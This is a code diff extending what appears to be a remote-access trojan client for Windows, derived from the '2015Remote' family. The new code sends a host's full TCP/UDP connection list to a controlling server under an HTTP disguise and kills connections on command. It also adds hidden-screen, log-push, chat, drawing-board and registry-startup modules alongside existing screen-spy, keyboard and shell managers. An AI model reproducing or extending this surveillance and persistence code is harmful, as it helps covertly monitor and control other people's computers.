<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -197,11 +207,15 @@
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
@@ -209,6 +223,9 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -220,20 +237,35 @@
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
@@ -256,6 +288,9 @@
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
@@ -41,6 +41,21 @@
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
@@ -55,6 +70,7 @@
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
@@ -89,6 +105,23 @@
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
#include "stdafx.h"
|
||||
#include "ClientLogManager.h"
|
||||
#include "../common/commands.h"
|
||||
#include "../common/logger.h"
|
||||
|
||||
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
|
||||
: CManager(ClientObject, n, p)
|
||||
, m_sentIdx(0)
|
||||
, m_running(true)
|
||||
{
|
||||
SendLogDump();
|
||||
m_pushThread = std::thread([this]() {
|
||||
while (m_running && m_ClientObject->IsConnected()) {
|
||||
for (int i = 0; i < 30 && m_running; ++i)
|
||||
Sleep(100);
|
||||
if (m_running && m_ClientObject->IsConnected())
|
||||
SendLogDump();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
CClientLogManager::~CClientLogManager()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_pushThread.joinable())
|
||||
m_pushThread.join();
|
||||
}
|
||||
|
||||
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
|
||||
SendLogDump();
|
||||
}
|
||||
|
||||
void CClientLogManager::SendLogDump()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
|
||||
std::vector<BYTE> pkt(1 + logs.size());
|
||||
pkt[0] = TOKEN_REPORT_LOG;
|
||||
if (!logs.empty())
|
||||
memcpy(pkt.data() + 1, logs.data(), logs.size());
|
||||
Send(pkt.data(), (UINT)pkt.size());
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
|
||||
class CClientLogManager : public CManager
|
||||
{
|
||||
public:
|
||||
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
|
||||
~CClientLogManager();
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
private:
|
||||
void SendLogDump();
|
||||
|
||||
size_t m_sentIdx;
|
||||
std::mutex m_sendMutex;
|
||||
std::atomic<bool> m_running;
|
||||
std::thread m_pushThread;
|
||||
};
|
||||
+46
-1
@@ -4,16 +4,23 @@
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "file/FileManager.h"
|
||||
#include "screenhide/ScreenHideManager.h"
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ChatManager.h"
|
||||
#include "MachineManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ProxyManager.h"
|
||||
#include "ClientLogManager.h"
|
||||
|
||||
#include "KernelManager.h"
|
||||
#include <iniFile.h>
|
||||
@@ -69,7 +76,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||
ClientObject->SetVerifyInfo(msg, signature);
|
||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
||||
memcpy(user->buffer, bToken + 1, 3);
|
||||
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||
} else {
|
||||
@@ -96,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||
return LoopManager<CTalkManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CChatManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CMachineManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
@@ -135,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CConnectionsManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -149,3 +189,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CProxyManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
|
||||
}
|
||||
@@ -28,11 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||
@@ -0,0 +1,239 @@
|
||||
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "Common.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <tcpmib.h>
|
||||
#include <udpmib.h>
|
||||
#include <vector>
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
|
||||
#if ENABLE_CONNECTION_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendConnectionList();
|
||||
}
|
||||
|
||||
CConnectionsManager::~CConnectionsManager()
|
||||
{
|
||||
}
|
||||
|
||||
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
|
||||
static void ResolveProcName(DWORD pid, char* out, int outLen)
|
||||
{
|
||||
if (outLen <= 0) return;
|
||||
out[0] = 0;
|
||||
if (pid == 0) {
|
||||
strcpy_s(out, outLen, "System Idle Process");
|
||||
return;
|
||||
}
|
||||
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (h == NULL) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t wpath[MAX_PATH] = { 0 };
|
||||
DWORD len = MAX_PATH;
|
||||
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
|
||||
CloseHandle(h);
|
||||
if (!ok) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
wchar_t* base = wcsrchr(wpath, L'\\');
|
||||
base = base ? base + 1 : wpath;
|
||||
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
|
||||
strcpy_s(out, outLen, "<unknown>");
|
||||
return;
|
||||
}
|
||||
out[outLen - 1] = 0;
|
||||
}
|
||||
|
||||
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
|
||||
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
|
||||
static void PutAddr4(uint8_t* out, DWORD addrNet)
|
||||
{
|
||||
out[0] = (uint8_t)(addrNet >> 24);
|
||||
out[1] = (uint8_t)(addrNet >> 16);
|
||||
out[2] = (uint8_t)(addrNet >> 8);
|
||||
out[3] = (uint8_t)(addrNet);
|
||||
}
|
||||
|
||||
static DWORD GetAddr4(const uint8_t* addr)
|
||||
{
|
||||
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
|
||||
}
|
||||
|
||||
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
|
||||
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 1;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
|
||||
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
|
||||
info.state = r.dwState;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET;
|
||||
info.pid = r.dwOwningPid;
|
||||
PutAddr4(info.localAddr, r.dwLocalAddr);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
|
||||
{
|
||||
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
|
||||
return;
|
||||
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
|
||||
if (pTable == NULL) return;
|
||||
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
|
||||
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
|
||||
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
|
||||
ConnectionInfo info = { 0 };
|
||||
info.proto = 2;
|
||||
info.af = AF_INET6;
|
||||
info.pid = r.dwOwningPid;
|
||||
memcpy(info.localAddr, r.ucLocalAddr, 16);
|
||||
info.localPort = ntohs((uint16_t)r.dwLocalPort);
|
||||
info.state = 0;
|
||||
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
|
||||
rows.push_back(info);
|
||||
}
|
||||
}
|
||||
free(pTable);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::SendConnectionList()
|
||||
{
|
||||
std::vector<ConnectionInfo> rows;
|
||||
AppendTcp4(rows);
|
||||
AppendTcp6(rows);
|
||||
AppendUdp4(rows);
|
||||
AppendUdp6(rows);
|
||||
|
||||
size_t count = rows.size();
|
||||
if (count > 0xFFFF) count = 0xFFFF;
|
||||
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
|
||||
if (szBuffer == NULL) return;
|
||||
szBuffer[0] = TOKEN_CONNECTION_LIST;
|
||||
uint16_t cnt = (uint16_t)count;
|
||||
memcpy(szBuffer + 1, &cnt, 2);
|
||||
for (size_t i = 0; i < count; ++i)
|
||||
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
|
||||
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
|
||||
{
|
||||
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
|
||||
if (info.proto != 1 || info.af != AF_INET) return;
|
||||
|
||||
MIB_TCPROW row = { 0 };
|
||||
row.dwState = MIB_TCP_STATE_DELETE_TCB;
|
||||
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
|
||||
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
|
||||
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
|
||||
row.dwRemotePort = (DWORD)htons(info.remotePort);
|
||||
SetTcpEntry(&row);
|
||||
}
|
||||
|
||||
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_CONNECTION: // 刷新
|
||||
SendConnectionList();
|
||||
break;
|
||||
case COMMAND_KILL_CONNECTION: // 强制断开
|
||||
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
|
||||
ConnectionInfo info;
|
||||
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
|
||||
KillConnection(info);
|
||||
}
|
||||
SendConnectionList();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
// ConnectionsManager.h: interface for the CConnectionsManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
|
||||
class CConnectionsManager : public CManager
|
||||
{
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||
@@ -0,0 +1,290 @@
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#define MSG_CLEAR 999
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
|
||||
{
|
||||
m_fAlpha = 150;
|
||||
m_bIsWorking = TRUE;
|
||||
m_bTopMost = TRUE;
|
||||
m_hWnd = NULL;
|
||||
m_textColor = RGB(255,0,0);
|
||||
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
|
||||
BYTE bToken = TOKEN_DRAWING_BOARD;
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
DrawingBoardMgr::~DrawingBoardMgr()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
while (m_hWnd)
|
||||
Sleep(200);
|
||||
DeleteObject(m_DrawPen);
|
||||
DeleteObject(m_Font);
|
||||
}
|
||||
|
||||
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
|
||||
{
|
||||
Mprintf("Start DrawingThreadProc\n");
|
||||
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
|
||||
pThis->RunWindowThread();
|
||||
pThis->m_bIsWorking = FALSE;
|
||||
Mprintf("Stop DrawingThreadProc\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::RunWindowThread()
|
||||
{
|
||||
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
|
||||
static bool s_classRegistered = false;
|
||||
if (!s_classRegistered) {
|
||||
WNDCLASSEX wc = {};
|
||||
wc.cbSize = sizeof(WNDCLASSEX);
|
||||
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
|
||||
wc.hInstance = GetModuleHandle(NULL);
|
||||
wc.lpszClassName = CLASS_NAME;
|
||||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||||
wc.hIcon = NULL; // 标题栏图标
|
||||
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
|
||||
if (!RegisterClassEx(&wc)) {
|
||||
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
|
||||
}
|
||||
s_classRegistered = true;
|
||||
}
|
||||
|
||||
DWORD dwStyle = WS_POPUP | WS_BORDER;
|
||||
m_hWnd = CreateWindowEx(
|
||||
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
|
||||
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
|
||||
NULL, NULL, GetModuleHandle(NULL), this
|
||||
);
|
||||
if (m_hWnd == NULL) return;
|
||||
|
||||
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
|
||||
style |= WS_BORDER; // 增加窄边框
|
||||
